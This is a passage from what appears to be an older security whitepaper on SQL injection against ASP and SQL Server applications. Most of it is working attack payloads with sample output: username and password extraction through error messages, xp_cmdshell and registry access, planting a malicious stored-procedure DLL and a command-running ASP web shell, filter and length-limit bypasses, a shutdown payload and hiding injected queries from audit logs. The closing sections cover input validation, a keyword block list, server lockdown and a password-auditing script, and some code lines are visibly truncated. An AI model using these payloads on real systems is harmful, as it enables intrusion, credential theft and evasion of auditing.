Username: ' union select min(username),1,1,1 from users where username >
This selects the minimum username that is greater than 'a', and attempts to convert it to an

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35

So the attacker now knows that the 'admin' account exists. He can now iterate through the
rows in the table by substituting each new username he discovers into the 'where' clause:
Username: ' union select min(username),1,1,1 from users where username >

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35

Once the attacker has determined the usernames, he can start gathering passwords:
Username: ' union select password,1,1,1 from users where username =

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

A more elegant technique is to concatenate all of the usernames and passwords into a
single string, and then attempt to convert it to an integer. This illustrates another point;
Transact-SQL statements can be string together on the same line without altering their
meaning. The following script will concatenate the values:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
select @ret as ret into foo
The attacker 'logs in' with this 'username' (all on one line, obviously…)
Username: '; begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo end--
This creates a table 'foo', which contains the single column 'ret', and puts our string into it.
Normally even a low-privileged user will be able to create a table in a sample database, or
the temporary database.
The attacker then selects the string from the table, as before:
Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35

And then drops (deletes) the table, to tidy up:
Username: '; drop table foo--
These examples are barely scratching the surface of the flexibility of this technique. Needless to say, if the attacker can obtain rich error information from the database, their job is infinitely easier.

[Leveraging Further Access]
Once an attacker has control of the database, they are likely to want to use that access to obtain further control over the network. This can be achieved in a number of ways:
1.  Using the xp_cmdshell extended stored procedure to run commands as the SQL server user, on the database server
2.  Using the xp_regread extended stored procedure to read registry keys, potentially including the SAM (if SQL Server is running as the local system account)
3.  Use other extended stored procedures to influence the server
4.  Run queries on linked servers
5.  Creating custom extended stored procedures to run exploit code from within the SQL Server process
6.  Use the 'bulk insert' statement to read any file on the server
7.  Use bcp to create arbitrary text files on the server
8.  Using the sp_OACreate, sp_OAMethod and sp_OAGetProperty system stored procedures to create Ole Automation (ActiveX) applications that can do everything an ASP script can dThese are just a few of the more common attack scenarios; it is quite possible that an attacker will be able to come up with others. We present these techniques as a collection of relatively obvious SQL Server attacks, in order to show just what is possible, given the ability to inject SQL. We will deal with each of the above points in turn.

Extended stored procedures are essentially compiled Dynamic Link Libraries (DLLs) that use a SQL Server specific calling convention to run exported functions. They allow SQL Server applications to have access to the full power of C/C++, and are an extremely useful feature. A number of extended stored procedures are built in to SQL Server, and perform various functions such as sending email and interacting with the registry.
xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary
command lines. 
For example:
exec master..xp_cmdshell 'dir'
will obtain a directory listing of the current working directory of the SQL Server process, and  
exec master..xp_cmdshell 'net1 user' 
will provide a list of all users on the machine. Since SQL server is normally running as either the local 'system' account, or a 'domain user' account, an attacker can do a great deal of harm.

Another helpful set of built in extended stored procedures are the xp_regXXX functions,
Example uses of some of these functions:
exec xp_regread HKEY_LOCAL_MACHINE,
(this determines what null-session shares are available on the server)
exec xp_regenumvalues HKEY_LOCAL_MACHINE,
(this will reveal all of the SNMP communities configured on the server. With this information, an attacker can probably reconfigure network appliances in the same area of the network, since SNMP communities tend to be infrequently changed, and shared among many hosts) It is easy to imagine how an attacker might use these functions to read the SAM, change the configuration of a system service so that it starts next time the machine is rebooted, or run an arbitrary command the next time anyone logs on to the server.

[Other Extended Stored Procedures]
The xp_servicecontrol procedure allows a user to start, stop, pause and 'continue' services:
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
Here is a table of a few other useful extended stored procedures:
xp_availablemedia   reveals the available drives on the machine.
xp_dirtree   allows a directory tree to be obtained
xp_enumdsn   enumerates ODBC data sources on the
server xp_loginconfig   reveals information about the security
mode of the server.
xp_makecab   allows the user to create a compressed
archive of files on the server (or any files the server can access)
xp_ntsec_enumdomains  enumerates domains that the server can           access
xp_terminate_process  terminates a process, given its PID

[Linked Servers]
SQL Server provides a mechanism to allow servers to be 'linked' - that is, to allow a query on one database server to manipulate data on another. These links are stored in the master..sysservers table. If a linked server has been set up using the 'sp_addlinkedsrvlogin' procedure, a pre-authenticated link is present and the linked server
can be accessed through it without having to log in. The 'openquery' function allows queries to be run against the linked server.
[Custom extended stored procedures]
The extended stored procedure API is a fairly simple one, and it is a fairly simple task to create an extended stored procedure DLL that carries malicious code. There are several ways to upload the DLL onto the SQL server using command lines, and there are other methods involving various communication mechanisms that can be automated, such as HTTP downloads and FTP scripts.
Once the DLL file is present on a machine that the SQL Server can access - this need not
necessarily be the SQL server itself - the attacker can add the extended stored procedure using this command (in this case, our malicious stored procedure is a small, trojan web server that exports the servers filesystems):
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
The extended stored procedure can then be run by calling it in the normal way:
exec xp_webserver
Once the procedure has been run, it can be removed like this:
sp_dropextendedproc 'xp_webserver'

[Importing text files into tables]
Using the 'bulk insert' statement, it is possible to insert a text file into a temporary table.
Simply create the table like this:
create table foo( line varchar(8000) )
…and then run an bulk insert to insert the data from the file, like this:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
…the data can then be retrieved using any of the above error message techniques, or by a 'union' select, combining the data in the text file with the data that is normally returned by the application. This is useful for obtaining the source code of scripts stored on the database server, or possibly the source of ASP scripts.

[Creating Text Files using BCP]
It is fairly easy to create arbitrary text files using the 'opposite' technique to the 'bulk insert'. Unfortunately this requires a command line tool, 'bcp', the 'bulk copy program' Since bcp accesses the database from outside the SQL Server process, it requires a login.
This is typically not difficult to obtain, since the attacker can probably create one anyway, or take advantage of 'integrated' security mode, if the server is configured to use it.
The command line format is as follows:
bcp "SELECT * FROM" queryout c:\inetpub\wwwroot\runcommand.asp
-c -Slocalhost -Usa -Pfoobar
The 'S' parameter is the server on which to run the query, the 'U' is the username and the
'P' is the password, in this case 'foobar'.

[ActiveX automation scripts in SQL Server]
Several built-in extended stored procedures are provided which allow the creation of
ActiveX Automation scripts in SQL server. These scripts are functionally the same as
scripts running in the context of the windows scripting host, or ASP scripts - they are
typically written in VBScript or JavaScript, and they create Automation objects and
interact with them. An automation script written in Transact-SQL in this way can do
anything that an ASP script, or a WSH script can do. A few examples are provided here
for illustration purposes
1) This example uses the '' object to create an instance of notepad (this could of course be any command line):
     -- example
     declare @o int
     exec sp_oacreate '', @o out
     exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
It could be run in our sample scenario by specifying the following username (all on one line):
     Username: '; declare @o int exec sp_oacreate '',@o out
     exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2) This example uses the 'scripting.filesystemobject' object to read a known text file:
     -- scripting.filesystemobject example - read a known file
     declare @o int, @f int, @t int, @ret int
     declare @line varchar(8000)
     exec sp_oacreate 'scripting.filesystemobject', @o out
     exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
     exec @ret = sp_oamethod @f, 'readline', @line out
     while( @ret = 0 )
     print @line
     exec @ret = sp_oamethod @f, 'readline', @line out
3) This example creates an ASP script that will run any command passed    to it in the querystring:
     -- scripting.filesystemobject example - create a 'run this' .asp file
     declare @o int, @f int, @t int, @ret int
     exec sp_oacreate 'scripting.filesystemobject', @o out
     exec sp_oamethod @o, 'createtextfile', @f out,
     'c:\inetpub\wwwroot\foo.asp', 1
     exec @ret = sp_oamethod @f, 'writeline', NULL,
     '<% set o = server.createobject(""):
     request.querystring("cmd") ) %>'
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run
   as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak:
     declare @o int, @ret int
     exec sp_oacreate 'speech.voicetext', @o out
     exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
     exec sp_oasetproperty @o, 'speed', 150
     exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
     waitfor delay '00:00:05'
This could of course be run in our example scenario, by specifying the following
  'username' (note that the example is not only injecting a script, but simultaneously
  logging in to the application as 'admin'):
  Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out
  exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed',
  150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to  us', 528
  waitfor delay '00:00:05'--

[Stored Procedures]
Traditional wisdom holds that if an ASP application uses stored procedures in the
database, that SQL injection is not possible. This is a half-truth, and it depends on the
manner in which the stored procedure is called from the ASP script.
Essentially, if a parameterised query is run, and the user-supplied parameters are passed
safely to the query, then SQL injection is typically impossible. However, if the attacker
can exert any influence over the non - data parts of the query string that is run, it is likely
that they will be able to control the database.
Good general rules are:
•  If the ASP script creates a SQL query string that is submitted to the      server, it is
   vulnerable to SQL injection, *even if* it uses stored procedures
•  If the ASP script uses a procedure object that wraps the assignment of parameters
   to a stored procedure (such as the ADO command object, used with the Parameters collection)
   then it is generally safe, though this depends on the object's implementation.
Obviously, best practice is still to validate all user supplied input, since new attack
techniques are being discovered all the time.
To illustrate the stored procedure query injection point, execute the following SQL string:
sp_who '1' select * from sysobjects
sp_who '1'; select * from sysobjects
Either way, the appended query is still run, after the stored procedure.

[Advanced SQL Injection]
It is often the case that a web application will 'escape' the single quote character (and
others), and otherwise 'massage' the data that is submitted by the user, such as by limiting
its length.
In this section, we discuss some techniques that help attackers bypass some of the more
obvious defences against SQL injection, and evade logging to a certain extent.

[Strings without quotes]
Occasionally, developers may have protected an application by (say) escaping all 'single
quote' characters, perhaps by using the VBScript 'replace' function or similar:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Admittedly, this will prevent all of the example attacks from working on our sample site,
and removing ';' characters would also help a lot. However, in a larger application it is
likely that several values that the user is supposed to input will be numeric. These values
will not require 'delimiting', and so may provide a point at which the attacker can insert
If the attacker wishes to create a string value without using quotes, they can use the 'char'
function. For example:
insert into users values( 666,
…is a query containing no quote characters, which will insert strings into a table.
Of course, if the attacker doesn't mind using a numeric username and password, the
following statement would do just as well:
insert into users values( 667,
Since SQL Server automatically converts integers into 'varchar' values, the type
conversion is implicit.

[Second-Order SQL Injection]
Even if an application always escapes single - quotes, an attacker can still inject SQL as
long as data in the database is re-used by the application.
For example, an attacker might register with an application, creating a username
Username: admin'--
Password: password
The application correctly escapes the single quote, resulting in an 'insert' statement like
insert into users values( 123, 'admin''--', 'password', 0xffff )
Let's say the application allows a user to change their password. The ASP script code first
ensures that the user has the 'old' password correct before setting the new password. The
code might look like this:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and
password = '" + oldpassword + "'"; sql, cn );
if (rso.EOF)

The query to set the new password might look like this:
sql = "update users set password = '" + newpassword + "' where username
= '" + rso("username") + "'"
rso("username") is the username retrieved from the 'login' query.
Given the username admin'--, the query produces the following query:
update users set password = 'password' where username = 'admin'--'
The attacker can therefore set the admin password to the value of their choice, by
registering as a user called admin'--.
This is a dangerous problem, present in most large applications that attempt to 'escape'
data. The best solution is to reject bad input, rather than simply attempting to modify it.
This can occasionally lead to problems, however, where 'known bad' characters are
necessary, as (for example) in the case of names with apostrophes; for example O'Brien
From a security perspective, the best way to solve this is to simply live with the fact that
single-quotes are not permitted. If this is unacceptable, they will have to be 'escaped'; in
this case, it is best to ensure that all data that goes into a SQL query string (including data
obtained from the database) is correctly handled.
Attacks of this form are also possible if the attacker can somehow insert data into the
system without using the application; the application might have an email interface, or
perhaps an error log is stored in the database that the attacker can exert some control
over. It is always best to verify *all* data, including data that is already in the system -
the validation functions should be relatively simple to call, for example
if ( not isValid( "email", request.querystring("email") ) then
..or something similar.

[Length Limits]
Sometimes the length of input data is restricted in order to make attacks more difficult;
while this does obstruct some types of attack, it is possible to do quite a lot of harm in a
very small amount of SQL. For example, the username
Username: ';shutdown--
...will shut down the SQL server instance, using only 12 characters of input. Another
example is
drop table <tablename>
Another problem with limiting input data length occurs if the length limit is applied after
the string has been 'escaped'. If the username was limited to (say) 16 characters, and the
password was also limited to 16 characters, the following username/password
combination would execute the 'shutdown' command mentioned above:
Username: aaaaaaaaaaaaaaa'
Password: '; shutdown--
The reason is that the application attempts to 'escape' the single - quote at the end of the
username, but the string is then cut short to 16 characters, deleting the 'escaping' single
quote. The net result is that the password field can contain some SQL, if it begins with a
single - quote, since the query ends up looking like this:
select * from users where username='aaaaaaaaaaaaaaa'' and password=''';
Effectively, the username in the query has become
aaaaaaaaaaaaaaa' and password='
…so the trailing SQL runs.

[Audit Evasion]
SQL Server includes a rich auditing interface in the sp_traceXXX family of functions,
which allow the logging of various events in the database. Of particular interest here are
the T-SQL events, which log all of the SQL statements and 'batches' that are prepared and
executed on the server. If this level of audit is enabled, all of the injected SQL queries we
have discussed will be logged and a skilled database administrator will be able to see
what has happened. Unfortunately, if the attacker appends the string
to a the Transact-SQL statement, this audit mechanism logs the following:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
This behaviour occurs in all T-SQL logging, even if 'sp_password' occurs in a comment.
This is, or course, intended to hide the plaintext passwords of users as they pass through
sp_password, but it is quite a useful behaviour for an attacker.
So, in order to hide all of the injection the attacker needs to simply append sp_password
after the '--' comment characters, like this:
Username: admin'--sp_password
The fact that some SQL has run will be logged, but the query string itself will be
conveniently absent from the log.

This section discusses some defences against the described attacks. Input validation is
discussed, and some sample code provided, then we address SQL server lockdown issues.

[Input Validation]
Input validation can be a complex subject. Typically, too little attention is paid to it in a
development project, since overenthusiastic validation tends to cause parts of an
application to break, and the problem of input validation can be difficult to solve. Input
validation tends not to add to the functionality of an application, and thus it is generally
overlooked in the rush to meet imposed deadlines.
The following is a brief discussion of input validation, with sample code. This sample
code is (of course) not intended to be directly used in applications, but it does illustrate
the differing strategies quite well.
The different approaches to data validation can be categorised as follows:
1) Attempt to massage data so that it becomes valid
2) Reject input that is known to be bad
3) Accept only input that is known to be good
Solution (1) has a number of conceptual problems; first, the developer is not necessarily
aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered
all the time. Second, 'massaging' the data can alter its length, which can result in
problems as described above. Finally, there is the problem of second-order effects
involving the reuse of data already in the system.
Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over
time, as new attack techniques develop.
Solution (3) is probably the better of the three, but can be harder to implement.
Probably the best approach from a security point of view is to combine approaches (2)
and (3) - allow only good input, and then search that input for known 'bad' data.
A good example of the necessity to combine these two approaches is the problem of
hyphenated surnames :
Quentin Bassington-Bassington
We must allow hyphens in our 'good' input, but we are also aware that the character
sequence '--' has significance to SQL server.
Another problem occurs when combining the 'massaging' of data with validation of
character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select'
and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could
specify input like
uni'on sel'ect @@version-'-
Since the single-quote is removed after the 'known bad' filter is applied, the attacker can
simply intersperse single quotes in his known-bad strings to evade detection.
Here is some example validation code.

Approach 1 - Escape singe quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function

Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop","--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 )
validate_string = false
exit function
end if
end function

Approach 3 - Allow only good input
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
end function

[SQL Server Lockdown]
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not
secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server
1.  Determine methods of connection to the server
a.  Verify that only the network libraries you're using are enabled, using the
    'Network utility'
2.  Verify which accounts exist
a.  Create 'low privileged' accounts for use by applications
b.  Remove unnecessary accounts
c.  Ensure that all accounts have strong passwords; run a password auditing
    script (such as the one provided as an appendix to this paper) against the
    server on a regular     basis
3.  Verify which objects exist
a.  Many extended stored procedures can be removed safely. If this is done,
    consider removing the '.dll' file containing the extended stored procedure
b.  Remove all sample databases - the 'northwind' and 'pubs' databases, for
4.  Verify which accounts can access which objects
a.  The account that an application uses to access the database should have
    only the minimum permissions necessary to access the objects that it needs
    to use.
5.  Verify the patch level of the server
a.  There are several buffer overflow [3], [4] and format string [5] attacks
    against SQL Server (mostly discovered by the author) as well as several
    other 'patched' security issues. It is likely that more exist.
6.  Verify what will be logged, and what will be done with the logs.
    An excellent lockdown checklist is provided at [2].

[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
[2] SQL Server Security Checklist
[3] SQL Server 2000 Extended Stored Procedure Vulnerability ch/advisories/2000/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability ch/advisories/2000/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server ch/advisories/2001/a122001-1.txt


Appendix A - 'SQLCrack'
This SQL password cracking script (written by the author) requires access to the
'password' column of master..sysxlogins, and is therefore unlikely to be of use to an
attacker. It is, however, an extremely useful tool for database administrators seeking to
improve the quality of passwords in use on their databases.
To use the script, substitute the path to the password file in place of
'c:\temp\passwords.txt' in place of the 'bulk insert' statement. Password files can be
obtained from a number of places on the web; we do not supply a comprehensive one
here, but here is a small sample (the file should be saved as an MS-DOS text file, with
<CR><LF> end-of-line characters). The script will also detect 'joe' accounts - accounts
that have the same password as their username - and accounts with blank passwords.
Here is the script:

create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on   (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select, null from sysxlogins join syslogins on
where sysxlogins.password is null and
syslogins.isntgroup=0 and
drop table tempdb..passwords